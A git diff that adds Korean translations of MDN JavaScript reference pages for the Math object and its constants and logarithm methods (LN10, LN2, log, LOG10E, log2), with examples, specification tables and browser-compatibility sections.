+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-math.imul', 'Math.imul')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatChrome("28")}}</td>
+ <td>{{CompatGeckoDesktop("20")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatOpera("16")}}</td>
+ <td>{{CompatSafari("7")}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoMobile("20")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>7</td>
+ </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ko/web/javascript/reference/global_objects/math/index.html b/files/ko/web/javascript/reference/global_objects/math/index.html
new file mode 100644
index 0000000000..3ce1a0638c
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/math/index.html
@@ -0,0 +1,155 @@
+---
+title: Math
+slug: Web/JavaScript/Reference/Global_Objects/Math
+tags:
+ - JavaScript
+ - Math
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math
+---
+<div>{{JSRef}}</div>
+
+<p><span class="seoSummary"><strong><code>Math</code></strong>는 수학적인 상수와 함수를 위한 속성과 메서드를 가진 내장 객체입니다.</span> 함수 객체가 아닙니다.</p>
+
+<p><code>Math</code>는 {{jsxref("Number")}} 자료형만 지원하며 {{jsxref("BigInt")}}와는 사용할 수 없습니다.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>다른 전역 객체와 달리 <code>Math</code>는 생성자가 아닙니다. <code>Math</code>의 모든 속성과 메서드는 정적입니다. 파이 상수는 <code>Math.PI</code>로 참조할 수 있고, 사인 함수는 매개변수 <code>x</code>에 대해 <code>Math.sin(x)</code>와 같이 호출할 수 있습니다. 상수는 JavaScript에서 가능한 최대 실수 정밀도로 정의되어 있습니다.</p>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt>{{jsxref("Math.E")}}</dt>
+ <dd>
+ <p>오일러의 상수이며 자연로그의 밑. 약 <code>2.718</code>.</p>
+ </dd>
+ <dt>{{jsxref("Math.LN2")}}</dt>
+ <dd>
+ <p><code>2</code>의 자연로그. 약 <code>0.693</code>.</p>
+ </dd>
+ <dt>{{jsxref("Math.LN10")}}</dt>
+ <dd><code>10</code>의 자연로그. 약 <code>2.303</code>.</dd>
+ <dt>{{jsxref("Math.LOG2E")}}</dt>
+ <dd>밑이 <code>2</code>인 로그 E. 약 <code>1.443</code>.</dd>
+ <dt>{{jsxref("Math.LOG10E")}}</dt>
+ <dd>밑이 <code>10</code>인 로그 E. 약 <code>0.434</code>.</dd>
+ <dt>{{jsxref("Math.PI")}}</dt>
+ <dd>원의 둘레와 지름의 비율. 약 <code>3.14159</code>.</dd>
+ <dt>{{jsxref("Math.SQRT1_2")}}</dt>
+ <dd>½의 제곱근. 약 <code>0.707</code>.</dd>
+ <dt>{{jsxref("Math.SQRT2")}}</dt>
+ <dd><code>2</code>의 제곱근. 약 <code>1.414</code>.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<div class="note">
+<p><strong>참고:</strong> 삼각 함수(<code>sin()</code>, <code>cos()</code>, <code>tan()</code>, <code>asin()</code>, <code>acos()</code>, <code>atan()</code>, <code>atan2()</code>)는 매개변수와 반환값 모두 호도법(라디안)을 사용합니다.</p>
+
+<p>라디안 값을 각도 값으로 변환하려면 <code>(Math.PI / 180)</code>으로 나누세요. 반대로 각도 값에 곱하면 라디안 값이 됩니다.</p>
+</div>
+
+<div class="note">
+<p><strong>참고:</strong> 많은 수의 <code>Math</code> 함수 정확도는 구현에 따라 다를 수 있습니다. 즉, 각 브라우저의 결과가 다를 수 있으며, 서로 같은 JS 엔진이라도 운영체제나 아키텍쳐에 따라서 불일치하는 값을 반환할 수 있습니다.</p>
+</div>
+
+<dl>
+ <dt>{{jsxref("Global_Objects/Math/abs", "Math.abs(x)")}}</dt>
+ <dd>숫자의 절댓값을 반환합니다.</dd>
+ <dt>{{jsxref("Global_Objects/Math/acos", "Math.acos(x)")}}</dt>
+ <dd>숫자의 아크코사인 값을 반환합니다.</dd>
+ <dt>{{jsxref("Global_Objects/Math/acosh", "Math.acosh(x)")}} </dt>
+ <dd>숫자의 쌍곡아크코사인 값을 반환합니다.</dd>
+ <dt>{{jsxref("Global_Objects/Math/asin", "Math.asin(x)")}}</dt>
+ <dd>숫자의 아크사인 값을 반환합니다.</dd>
+ <dt>{{jsxref("Global_Objects/Math/asinh", "Math.asinh(x)")}} </dt>
+ <dd>숫자의 쌍곡아크사인 값을 반환합니다.</dd>
+ <dt>{{jsxref("Global_Objects/Math/atan", "Math.atan(x)")}}</dt>
+ <dd>숫자의 아크탄젠트 값을 반환합니다.</dd>
+ <dt>{{jsxref("Global_Objects/Math/atanh", "Math.atanh(x)")}} </dt>
+ <dd>숫자의 쌍곡아크탄젠트 값을 반환합니다.</dd>
+ <dt>{{jsxref("Global_Objects/Math/atan2", "Math.atan2(y, x)")}}</dt>
+ <dd>인수 몫의 아크탄젠트 값을 반환합니다.</dd>
+ <dt>{{jsxref("Global_Objects/Math/cbrt", "Math.cbrt(x)")}} </dt>
+ <dd>숫자의 세제곱근을 반환합니다.</dd>
+ <dt>{{jsxref("Global_Objects/Math/ceil", "Math.ceil(x)")}}</dt>
+ <dd>인수보다 크거나 같은 수 중에서 가장 작은 정수를 반환합니다.</dd>
+ <dt>{{jsxref("Global_Objects/Math/clz32", "Math.clz32(x)")}} </dt>
+ <dd>주어진 32비트 정수의 선행 0 개수를 반환합니다.</dd>
+ <dt>{{jsxref("Global_Objects/Math/cos", "Math.cos(x)")}}</dt>
+ <dd>숫자의 코사인 값을 반환합니다.</dd>
+ <dt>{{jsxref("Global_Objects/Math/cosh", "Math.cosh(x)")}} </dt>
+ <dd>숫자의 쌍곡코사인 값을 반환합니다.</dd>
+ <dt>{{jsxref("Global_Objects/Math/exp", "Math.exp(x)")}}</dt>
+ <dd>E<sup>x</sup> 를 반환합니다. <var>x</var>는 인수이며 E 는 오일러 상수(<code>2.718</code>...) 또는 자연로그의 밑입니다.</dd>
+ <dt>{{jsxref("Global_Objects/Math/expm1", "Math.expm1(x)")}} </dt>
+ <dd><code>exp(x)</code>에서 <code>1</code>을 뺀 값을 반환합니다.</dd>
+ <dt>{{jsxref("Global_Objects/Math/floor", "Math.floor(x)")}}</dt>
+ <dd>인수보다 작거나 같은 수 중에서 가장 큰 정수를 반환합니다.</dd>
+ <dt>{{jsxref("Global_Objects/Math/fround", "Math.fround(x)")}} </dt>
+ <dd>인수의 가장 가까운 단일 정밀도 표현을 반환합니다.</dd>
+ <dt>{{jsxref("Global_Objects/Math/hypot", "Math.hypot([x[, y[, …]]])")}} </dt>
+ <dd>인수의 제곱합의 제곱근을 반환합니다.</dd>
+ <dt>{{jsxref("Global_Objects/Math/imul", "Math.imul(x, y)")}} </dt>
+ <dd>두 32비트 정수의 곱을 반환합니다.</dd>
+ <dt>{{jsxref("Global_Objects/Math/log", "Math.log(x)")}}</dt>
+ <dd>숫자의 자연로그(log<sub>e</sub> 또는 ln) 값을 반환합니다.</dd>
+ <dt>{{jsxref("Global_Objects/Math/log1p", "Math.log1p(x)")}} </dt>
+ <dd>숫자 <code>x</code>에 대해 <code>1 + x</code>의 자연로그(log<sub>e</sub> 또는 ln) 값을 반환합니다.</dd>
+ <dt>{{jsxref("Global_Objects/Math/log10", "Math.log10(x)")}} </dt>
+ <dd>숫자의 밑이 10인 로그를 반환합니다.</dd>
+ <dt>{{jsxref("Global_Objects/Math/log2", "Math.log2(x)")}} </dt>
+ <dd>숫자의 밑이 2인 로그를 반환합니다.</dd>
+ <dt>{{jsxref("Global_Objects/Math/max", "Math.max([x[, y[, …]]])")}}</dt>
+ <dd>0개 이상의 인수에서 제일 큰 수를 반환합니다.</dd>
+ <dt>{{jsxref("Global_Objects/Math/min", "Math.min([x[, y[, …]]])")}}</dt>
+ <dd>0개 이상의 인수에서 제일 작은 수를 반환합니다.</dd>
+ <dt>{{jsxref("Global_Objects/Math/pow", "Math.pow(x, y)")}}</dt>
+ <dd>x의 y 제곱을 반환합니다.</dd>
+ <dt>{{jsxref("Global_Objects/Math/random", "Math.random()")}}</dt>
+ <dd>0과 1 사이의 난수를 반환합니다.</dd>
+ <dt>{{jsxref("Global_Objects/Math/round", "Math.round(x)")}}</dt>
+ <dd>숫자에서 가장 가까운 정수를 반환합니다.</dd>
+ <dt>{{jsxref("Global_Objects/Math/sign", "Math.sign(x)")}} </dt>
+ <dd>x의 양의 수인지 음의 수인지 나타내는 부호를 반환합니다.</dd>
+ <dt>{{jsxref("Global_Objects/Math/sin", "Math.sin(x)")}}</dt>
+ <dd>숫자의 사인 값을 반환합니다.</dd>
+ <dt>{{jsxref("Global_Objects/Math/sinh", "Math.sinh(x)")}} </dt>
+ <dd>숫자의 쌍곡사인 값을 반환합니다.</dd>
+ <dt>{{jsxref("Global_Objects/Math/sqrt", "Math.sqrt(x)")}}</dt>
+ <dd>숫자의 제곱근을 반환합니다.</dd>
+ <dt>{{jsxref("Global_Objects/Math/tan", "Math.tan(x)")}}</dt>
+ <dd>숫자의 탄젠트 값을 반환합니다.</dd>
+ <dt>{{jsxref("Global_Objects/Math/tanh", "Math.tanh(x)")}} </dt>
+ <dd>숫자의 쌍곡탄젠트 값을 반환합니다.</dd>
+ <dt><code>Math.toSource()</code> {{non-standard_inline}}</dt>
+ <dd>문자열 <code>"Math"</code>를 반환합니다.</dd>
+ <dt>{{jsxref("Global_Objects/Math/trunc", "Math.trunc(x)")}} </dt>
+ <dd>숫자의 정수 부분을 반환합니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-math-object', 'Math')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Math")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Number")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/math/ln10/index.html b/files/ko/web/javascript/reference/global_objects/math/ln10/index.html
new file mode 100644
index 0000000000..57ab837e50
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/math/ln10/index.html
@@ -0,0 +1,84 @@
+---
+title: Math.LN10
+slug: Web/JavaScript/Reference/Global_Objects/Math/LN10
+tags:
+ - JavaScript
+ - Math
+ - Property
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/LN10
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Math.LN10</code></strong> 속성은 10의 자연로그 값, 약 2.302의 값을 가집니다.</p>
+
+<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mi>Math.LN10</mi></mstyle><mo>=</mo><mo lspace="0em" rspace="0em">ln</mo><mo stretchy="false">(</mo><mn>10</mn><mo stretchy="false">)</mo><mo>≈</mo><mn>2.302</mn></mrow><annotation encoding="TeX">\mathtt{\mi{Math.LN10}} = \ln(10) \approx 2.302</annotation></semantics></math></p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-ln10.html")}}</div>
+
+
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="설명">설명</h2>
+
+<p><code>LN10</code>은 <code>Math</code>의 정적 속성이므로, 사용자가 생성한 <code>Math</code> 객체의 속성으로 접근할 수 없고 항상 <code>Math.LN10</code>을 사용해야 합니다. (<code>Math</code>는 생성자가 아닙니다)</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Math.LN10_사용하기"><code>Math.LN10</code> 사용하기</h3>
+
+<p>다음 함수는 10의 자연 로그 값을 반환합니다.</p>
+
+<pre class="brush:js">function getNatLog10() {
+ return Math.LN10;
+}
+
+getNatLog10(); // 2.302585092994046
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.0.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.8.1.2', 'Math.LN10')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-math.ln10', 'Math.LN10')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-math.ln10', 'Math.LN10')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Math.LN10")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Math.exp()")}}</li>
+ <li>{{jsxref("Math.log()")}}</li>
+ <li>{{jsxref("Math.log10()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/math/ln2/index.html b/files/ko/web/javascript/reference/global_objects/math/ln2/index.html
new file mode 100644
index 0000000000..202558fd59
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/math/ln2/index.html
@@ -0,0 +1,86 @@
+---
+title: Math.LN2
+slug: Web/JavaScript/Reference/Global_Objects/Math/LN2
+tags:
+ - JavaScript
+ - Math
+ - Property
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/LN2
+---
+<div>{{JSRef}}</div>
+
+<p>The <strong><code>Math.LN2</code></strong> property represents the natural logarithm of 2, approximately 0.693:</p>
+
+<p><strong><code>Math.LN2</code></strong> 속성은 2의 자연로그 값, 약 0.693의 값을 가집니다.</p>
+
+<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mi>Math.LN2</mi></mstyle><mo>=</mo><mo lspace="0em" rspace="0em">ln</mo><mo stretchy="false">(</mo><mn>2</mn><mo stretchy="false">)</mo><mo>≈</mo><mn>0.693</mn></mrow><annotation encoding="TeX">\mathtt{\mi{Math.LN2}} = \ln(2) \approx 0.693</annotation></semantics></math></p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-ln2.html")}}</div>
+
+
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="설명">설명</h2>
+
+<p><code>LN2</code>는 <code>Math</code>의 정적 속성이므로, 사용자가 생성한 <code>Math</code> 객체의 속성으로 접근할 수 없고 항상 <code>Math.LN2</code>를 사용해야 합니다. (<code>Math</code>는 생성자가 아닙니다)</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Math.LN2_사용하기"><code>Math.LN2</code> 사용하기</h3>
+
+<p>다음 함수는 2의 자연 로그 값을 반환합니다.</p>
+
+<pre class="brush:js">function getNatLog2() {
+ return Math.LN2;
+}
+
+getNatLog2(); // 0.6931471805599453
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.0.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.8.1.3', 'Math.LN2')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-math.ln2', 'Math.LN2')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-math.ln2', 'Math.LN2')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Math.LN2")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Math.exp()")}}</li>
+ <li>{{jsxref("Math.log()")}}</li>
+ <li>{{jsxref("Math.log2()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/math/log/index.html b/files/ko/web/javascript/reference/global_objects/math/log/index.html
new file mode 100644
index 0000000000..a343fa27a6
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/math/log/index.html
@@ -0,0 +1,104 @@
+---
+title: Math.log()
+slug: Web/JavaScript/Reference/Global_Objects/Math/log
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/log
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Math.log()</code></strong> 함수는 자연 로가리즘은 ({{jsxref("Math.E", "e")}} 를 기초) 의 수를 계산합니다, 이건 다음의</p>
+
+<p><math display="block"><semantics><mrow><mo>∀</mo><mi>x</mi><mo>&gt;</mo><mn>0</mn><mo>,</mo><mstyle mathvariant="monospace"><mrow><mo lspace="0em" rspace="thinmathspace">Math.log</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow></mstyle><mo>=</mo><mo lspace="0em" rspace="0em">ln</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo>=</mo><mtext>the unique</mtext><mspace width="thickmathspace"></mspace><mi>y</mi><mspace width="thickmathspace"></mspace><mtext>such that</mtext><mspace width="thickmathspace"></mspace><msup><mi>e</mi><mi>y</mi></msup><mo>=</mo><mi>x</mi></mrow><annotation encoding="TeX">\forall x &gt; 0, \mathtt{\operatorname{Math.log}(x)} = \ln(x) = \text{고유값} \; y \; \text{같이} \; e^y = x</annotation></semantics></math></p>
+
+<p>자바스크립트 <strong><code>Math.log()</code> </strong>함수는 <em>ln(x)</em> 수학적으로 같습니다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><code>Math.log(<var>x</var>)</code></pre>
+
+<h3 id="인자">인자</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>실수값.</dd>
+</dl>
+
+<h3 id="반환값">반환값</h3>
+
+<p>자연 로가리즘은 ({{jsxref("Math.E", "e")}} 를 기초) 실수값으로 줍니다. 마이너스 실수값, {{jsxref("NaN")}} 계산됩니다.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>만일 값 <code>x</code> 가 마이너스라면, 항상 다음값이 계산됩니다 {{jsxref("NaN")}}.</p>
+
+<p><code>왜그렇냐면 </code> <code>Math의 log() 가 정적 메서드이기 때문</code>,에 매번 다음처럼 <code>Math.log() 써야합니다</code> (생성자로 초기화된 <code>Math</code> 개체가 아니기 때문입니다).</p>
+
+<p>자연로그 2 나 10, 상수로쓸때 {{jsxref("Math.LN2")}} or {{jsxref("Math.LN10")}} . 로가리즘 기초값 2 나 10, 쓸때는 {{jsxref("Math.log2()")}} 혹은 {{jsxref("Math.log10()")}} . 로가리즘 다른 기초값은 Math.log(x) / Math.log(기초값) 처럼 예제참고; 미리계산하여 1 / Math.log(기초값) 할 수 있습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Math.log()_사용"><code>Math.log() 사용</code></h3>
+
+<pre class="brush: js">Math.log(-1); // NaN, 정의범위 초과
+Math.log(0); // -Infinity, 무한
+Math.log(1); // 0
+Math.log(10); // 2.302585092994046
+</pre>
+
+<h3 id="Math.log()_다른_기초값_사용"><code>Math.log()</code> 다른 기초값 사용</h3>
+
+<p>이 함수는 로가리즘 <code>y 에 대한것으로</code> 기초값 <code>x</code> (ie. <math><semantics><mrow><msub><mo>log</mo><mi>x</mi></msub><mi>y</mi></mrow><annotation encoding="TeX">\log_x y</annotation></semantics></math>): 입니다</p>
+
+<pre class="brush: js">function getBaseLog(x, y) {
+ return Math.log(y) / Math.log(x);
+}
+</pre>
+
+<p>다음을 실행하면 <code>getBaseLog(10, 1000)</code> 다음 <code>2.9999999999999996 계산되는데</code> 적당히 반올림하니다, 거의 3 에 가깝습니다.</p>
+
+<h2 id="명세서">명세서</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">비고</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.0.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.8.2.10', 'Math.log')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-math.log', 'Math.log')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-math.log', 'Math.log')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Math.log")}}</p>
+
+<h2 id="같이보기">같이보기</h2>
+
+<ul>
+ <li>{{jsxref("Math.exp()")}}</li>
+ <li>{{jsxref("Math.log1p()")}}</li>
+ <li>{{jsxref("Math.log10()")}}</li>
+ <li>{{jsxref("Math.log2()")}}</li>
+ <li>{{jsxref("Math.pow()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/math/log10e/index.html b/files/ko/web/javascript/reference/global_objects/math/log10e/index.html
new file mode 100644
index 0000000000..bb864c8aa3
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/math/log10e/index.html
@@ -0,0 +1,84 @@
+---
+title: Math.LOG10E
+slug: Web/JavaScript/Reference/Global_Objects/Math/LOG10E
+tags:
+ - JavaScript
+ - Math
+ - Property
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/LOG10E
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Math.LOG10E</code></strong> 속성은 e의 로그 10 값, 약 0.434의 값을 가집니다.</p>
+
+<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mi>Math.LOG10E</mi></mstyle><mo>=</mo><msub><mo lspace="0em" rspace="0em">log</mo><mn>10</mn></msub><mo stretchy="false">(</mo><mi>e</mi><mo stretchy="false">)</mo><mo>≈</mo><mn>0.434</mn></mrow><annotation encoding="TeX">\mathtt{\mi{Math.LOG10E}} = \log_10(e) \approx 0.434</annotation></semantics></math></p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-log10e.html")}}</div>
+
+
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="설명">설명</h2>
+
+<p><code>LOG10E</code>는 <code>Math</code>의 정적 속성이므로, 사용자가 생성한 <code>Math</code> 객체의 속성으로 접근할 수 없고 항상 <code>Math.LOG10E</code>를 사용해야 합니다. (<code>Math</code>는 생성자가 아닙니다)</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Math.LOG10E_사용하기"><code>Math.LOG10E</code> 사용하기</h3>
+
+<p>다음 함수는 e의 로그 10 값을 반환합니다.</p>
+
+<pre class="brush:js">function getLog10e() {
+ return Math.LOG10E;
+}
+
+getLog10e(); // 0.4342944819032518
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.0.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.8.1.5', 'Math.LOG10E')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-math.log10e', 'Math.LOG10E')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-math.log10e', 'Math.LOG10E')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Math.LOG10E")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{jsxref("Math.exp()")}}</li>
+ <li>{{jsxref("Math.log()")}}</li>
+ <li>{{jsxref("Math.log10()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/math/log2/index.html b/files/ko/web/javascript/reference/global_objects/math/log2/index.html
new file mode 100644
index 0000000000..7cfd72531c
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/math/log2/index.html
@@ -0,0 +1,96 @@
+---
+title: Math.log2()
+slug: Web/JavaScript/Reference/Global_Objects/Math/log2
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/log2
+---
+<div>{{JSRef}}</div>
+
+<p> <strong><code>Math.log2()</code></strong> 함수는 숫자를 log<sub>2</sub>(숫자)로 반환합니다.</p>
+
+<p><math display="block"><semantics><mrow><mo>∀</mo><mi>x</mi><mo>&gt;</mo><mn>0</mn><mo>,</mo><mstyle mathvariant="monospace"><mrow><mo lspace="0em" rspace="thinmathspace">Math.log2</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow></mstyle><mo>=</mo><msub><mo lspace="0em" rspace="0em">log</mo><mn>2</mn></msub><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo>=</mo><mtext>the unique</mtext><mspace width="thickmathspace"></mspace><mi>y</mi><mspace width="thickmathspace"></mspace><mtext>such that</mtext><mspace width="thickmathspace"></mspace><msup><mn>2</mn><mi>y</mi></msup><mo>=</mo><mi>x</mi></mrow><annotation encoding="TeX">\forall x &gt; 0, \mathtt{\operatorname{Math.log2}(x)} = \log_2(x) = \text{the unique} \; y \; \text{such that} \; 2^y = x</annotation></semantics></math></p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><code>Math.log2(<var>x</var>)</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>숫자.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 숫자는 log<sub>2</sub>(숫자)로 계산합니다. 만약 숫자가 음수라면 {{jsxref("NaN")}}를 반환합니다.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>만약 <code>x</code> 의 값이 0보다 작다면(음수) 값은 항상 {{jsxref("NaN")}}로 반환합니다.</p>
+
+<p><code>log<sub>2</sub>()</code>는 <code>Math</code>의 정적 메서드이므로 만든 <code>Math</code> 객체의 메서드가 아니라 항상 <code>Math.log2()</code>함수를 사용해야합니다. (<code>Math</code>는 생성자가 없습니다.)</p>
+
+<p>이 함수는 Math.log(x) / Math.log(2)와 같습니다.</p>
+
+<p>따라서 log<sub>2</sub>(e)는 {{jsxref("Math.LOG2E")}}와 같습니다. </p>
+
+<p>그리고 위 함수는 1 / {{jsxref("Math.LN2")}}과 같습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Math.log2()"><code>Math.log2()</code></h3>
+
+<pre class="brush: js">Math.log2(3); // 1.584962500721156
+Math.log2(2); // 1
+Math.log2(1); // 0
+Math.log2(0); // -Infinity
+Math.log2(-2); // NaN
+Math.log2(1024); // 10
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>This Polyfill emulates the <code>Math.log2</code> function. Note that it returns imprecise values on some inputs (like 1 &lt;&lt; 29), wrap into {{jsxref("Math.round()")}} if working with bit masks.</p>
+
+<pre class="brush: js">Math.log2 = Math.log2 || function(x) {
+ return Math.log(x) * Math.LOG2E;
+};
+</pre>
+
